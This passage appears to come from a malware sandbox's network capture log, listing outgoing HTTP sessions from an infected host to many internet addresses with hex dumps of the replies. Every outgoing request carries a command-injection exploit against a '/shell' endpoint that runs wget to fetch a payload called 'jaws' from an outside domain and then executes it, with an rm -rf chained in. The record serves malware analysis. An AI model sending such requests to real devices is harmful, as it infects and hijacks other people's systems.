65 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 70 72 65 66 65 72 5f 68 74 74 70 73 22 20 6e 61 6d 65 3d 22 70 72 65 66 65 72 5f 68 74 74 70 73 22 20 76 61 6c 75 65 3d 22 66 61 6c 73 65 22 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 76 61 72 20 70 72 6f 74 6f 63 6f 6c 3d 6c 6f 63 61 74 69 6f 6e 2e 70 72 6f 74 6f 63 6f 6c 3b 0a 20 20 20 20 20 20 20 20 76 61 72 20 70 6f 72 74 3d 6c 6f 63 61 74 69 6f 6e 2e 70 72 6f 74 6f 63 6f 6c 20 3d 3d 3d 20 22 68 74 74 70 73 3a 22 20 3f 20 35 30 30 31 20 3a 20 35 30 30 30 3b 0a 20 20 20 20 20 20 20 20 76 61 72 20 55 52 4c 3d 70 72 6f 74 6f 63 6f 6c 2b 22 2f 2f 22 2b 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 2b 22 3a 22 2b 70 6f 72 74 2b 22 2f 22 3b 0a 20 20 20 20 20 20 20 20 6c 6f 63 61 74 69 6f 6e 2e 72 65 70 6c 61 63 65 28 55 52 4c 29 3b 0a 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html> <body> <input type="hidden" id="http" name="http" value="5000"> <input type="hidden" id="https" name="https" value="5001"> <input type="hidden" id="prefer_https" name="prefer_https" value="false"> </body> <script type="text/javascript"> var protocol=location.protocol; var port=location.protocol === "https:" ? 5001 : 5000; var URL=protocol+"//"+location.hostname+":"+port+"/"; location.replace(URL); </script></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1057	192.168.2.13	38562	154.38.99.116	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:29.440747023 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:29.618084908 CEST	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 14 Apr 2024 02:00:29 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1058	192.168.2.13	52934	23.26.195.86	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:29.455528021 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1059	192.168.2.13	38798	23.216.200.106	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:29.497034073 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:29.724103928 CEST	534	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 312 Expires: Sun, 14 Apr 2024 02:00:29 GMT Date: Sun, 14 Apr 2024 02:00:29 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 64 35 32 39 63 38 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 32 39 26 23 34 36 3b 31 63 66 32 66 36 62 31 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 64 35 32 39 63 38 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 32 39 26 23 34 36 3b 31 63 66 32 66 36 62 31 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.d529c817.1713060029.1cf2f6b1<P>https://errors.edgesuite.net/9.d529c817.1713060029.1cf2f6b1</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1060	192.168.2.13	47462	41.60.17.174	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:29.518349886 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:30.019968033 CEST	154	IN	HTTP/1.1 302 Found Location: https://127.0.0.1:443/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
1061	192.168.2.13	43092	119.204.215.178	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:29.568993092 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:29.952380896 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:30.856556892 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:32.680283070 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:36.456434965 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:43.880451918 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:58.472286940 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:28.168232918 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1062	192.168.2.13	51830	114.55.125.176	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:29.705744982 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:30.042448997 CEST	449	IN	HTTP/1.1 307 Temporary Redirect Server: nginx/1.18.0 Date: Sun, 14 Apr 2024 02:00:29 GMT Content-Type: text/html Content-Length: 171 Connection: keep-alive Location: https://mj.bestyxb.com/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 37 20 54 65 6d 70 6f 72 61 72 79 20 52 65 64 69 72 65 63 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 37 20 54 65 6d 70 6f 72 61 72 79 20 52 65 64 69 72 65 63 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>307 Temporary Redirect</title></head><body><center><h1>307 Temporary Redirect</h1></center><hr><center>nginx/1.18.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1063	192.168.2.13	36038	218.16.123.214	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:29.712862968 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:30.196393013 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:31.304337978 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:33.640418053 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:38.248328924 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:47.208394051 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:05.640382051 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:42.504179001 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1064	192.168.2.13	37864	137.59.86.100	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:29.842473984 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:30.247142076 CEST	332	IN	HTTP/1.0 302 Moved Temporarily Date: Sun, 14 Apr 2024 02:00:29 GMT Server: Boa/0.93.15 Connection: close Content-Type: text/html Location: /admin/login.asp Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 20 54 65 6d 70 6f 72 61 72 69 6c 79 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 2f 61 64 6d 69 6e 2f 6c 6f 67 69 6e 2e 61 73 70 22 3e 68 65 72 65 3c 2f 41 3e 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>302 Moved Temporarily</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="/admin/login.asp">here</A>.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1065	192.168.2.13	34314	38.48.143.91	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:30.436022997 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:30.617757082 CEST	1289	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/8.5 X-Powered-By: ASP.NET Date: Sun, 14 Apr 2024 02:00:28 GMT Content-Length: 1163 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e b7 fe ce f1 c6 f7 b4 ed ce f3 3c 2f 68 31 3e 3c 2f 64 69 76 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 3c 66 69 65 6c 64 73 65 74 3e 0d 0a 20 20 3c 68 32 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e c4 fa d2 aa b2 e9 d5 d2 b5 c4 d7 ca d4 b4 bf c9 c4 dc d2 d1 b1 bb c9 be b3 fd a3 ac d2 d1 b8 fc b8 c4 c3 fb b3 c6 bb f2 d5 df d4 dd ca b1 b2 bb bf c9 d3 c3 a1 a3 3c 2f 68 33 3e 0d 0a Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312"/><title>404 - </title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1></h1></div><div id="content"> <div class="content-container"><fieldset> <h2>404 - </h2> <h3></h3>
Apr 14, 2024 04:00:30.617793083 CEST	58	IN	Data Raw: 20 3c 2f 66 69 65 6c 64 73 65 74 3e 3c 2f 64 69 76 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: </fieldset></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1066	192.168.2.13	33768	34.210.176.69	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:30.450104952 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:30.644609928 CEST	1289	IN	HTTP/1.1 404 Not Found Server: nginx/1.10.2 Date: Sun, 14 Apr 2024 02:00:30 GMT Content-Type: text/html Content-Length: 3650 Connection: keep-alive ETag: "58173aee-e42" Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 31 2f 44 54 44 2f 78 68 74 6d 6c 31 31 2e 64 74 64 22 3e 0a 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 54 68 65 20 70 61 67 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2a 3c 21 5b 43 44 41 54 41 5b 2a 2f 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 39 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 73 61 6e 73 2d 73 65 72 69 66 2c 68 65 6c 76 65 74 69 63 61 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3a 6c 69 6e 6b 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 63 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3a 76 69 73 69 74 65 64 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 63 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 61 3a 68 6f 76 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 66 35 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 31 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 2e 36 65 6d 20 32 65 6d 20 30 2e 34 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 32 39 34 31 37 32 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 2e 37 35 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 32 70 78 20 73 6f 6c 69 64 20 23 30 30 30 3b 0a 20 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <title>The page is not found</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <style type="text/css"> /<![CDATA[/ body { background-color: #fff; color: #000; font-size: 0.9em; font-family: sans-serif,helvetica; margin: 0; padding: 0; } :link { color: #c00; } :visited { color: #c00; } a:hover { color: #f50; } h1 { text-align: center; margin: 0; padding: 0.6em 2em 0.4em; background-color: #294172; color: #fff; font-weight: normal; 